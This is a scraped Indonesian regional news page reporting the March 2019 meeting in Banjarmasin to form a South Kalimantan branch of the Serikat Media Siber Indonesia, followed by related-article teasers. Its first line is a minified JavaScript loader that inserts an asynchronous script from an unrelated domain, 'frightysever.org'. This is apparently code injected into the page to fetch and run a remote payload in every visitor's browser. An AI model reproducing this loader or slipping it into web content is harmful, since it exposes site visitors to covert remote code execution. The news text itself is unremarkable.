(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Sejumlah pimpinan media online di Banjarmasin dan sekitarnya berkumpul di Gedung PWI Kalsel merintis pembentukan Serikat Media Siber Indonesia (SMSI) Kalimantan Selatan, Kamis (14/3/2019).
Ketua PWI Provinsi Kalsel, Zainal Helmie mengatakan, pihak PWI Kalsel memfasilitasi pembentukan SMSI Kalsel yang nanti akan menjadi wadah organisasi bagi perusahaan media siber alias media online yang dalam 2 tahun terakhir “tumbuh subur†di Kalsel.
“SMSI ini menaungi perusahaan media onlinenya, serupa kalau di media cetak Serikat Penerbit Surat Kabar (SPS),†ujar Helmie. Rencana pembentukan SMSI Kalsel yang akan menjadi cabang ke 21 di Indonesia dilakukan demi memberikan pembinaan hingga pemberian bantuan jika perusahaan media siber tersebut berhadapan dengan hukum.
Masih menurut Helmie, di Kalsel saat ini sangat banyak media-media siber yang tumbuh baik di ibukota provinsi Kalsel maupun di kabupaten/kota. “Yang kami undang hadir dalam rencana pembentukan SMSI ini saja ada 20 media online di Banjarmasin, saya rasa masih banyak di daerah yang belum kami ketahui kehadirannya, karena kita belum bisa mendata sepenuhnya ada berapa media online di Kalsel,†bebernya. Ia berharap ke depan, bila SMSI cabang Kalsel terbentuk, bisa menjadi wadah media-media online di Kalsel membina dan memberikan perlindungan. “Karena persyaratan pembentukan SMSI di sebuah provinsi, minimal ada 5 media siber, sudah bisa terbentuk, dan saya rasa dengan jumlah media online di Kalsel yang saat ini hadir sudah bisa dibentuk SMSI Cabang Kalsel,†bebernya. Sekadar diketahui saja, SMSI di Indonesia sudah hadir di 20 provinsi.
Hasil pertemuan perwakilan media online di gedung PWI Kalsel memilih Ketua Tim Formatur Pembentukan SMSI Cabang Kalsel yaitu Drs Fathurrahman.
Fathurrahman mengatakan, telah melakukan pendataan terhadap beberapa media online di Banjarmasin dan sekitarnya untuk dirangkul ke dalam organisasi yang telah terbentuk di 20 provinsi di Indonesia.
“Kita nanti juga akan inventarisir yang di daerah, nanti akan diminta mengisi formulir dan memenuhi syarat yang ditentukan,†ujar Fathur.
Persyaratan yang dimaksud menurutnya ialah memiliki badan hukum (akta kemenkumham), administrasi perusahaan seperti SIUP, TDP, SITU dan lain-lainnya juga telah dikantongi. (bie)
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.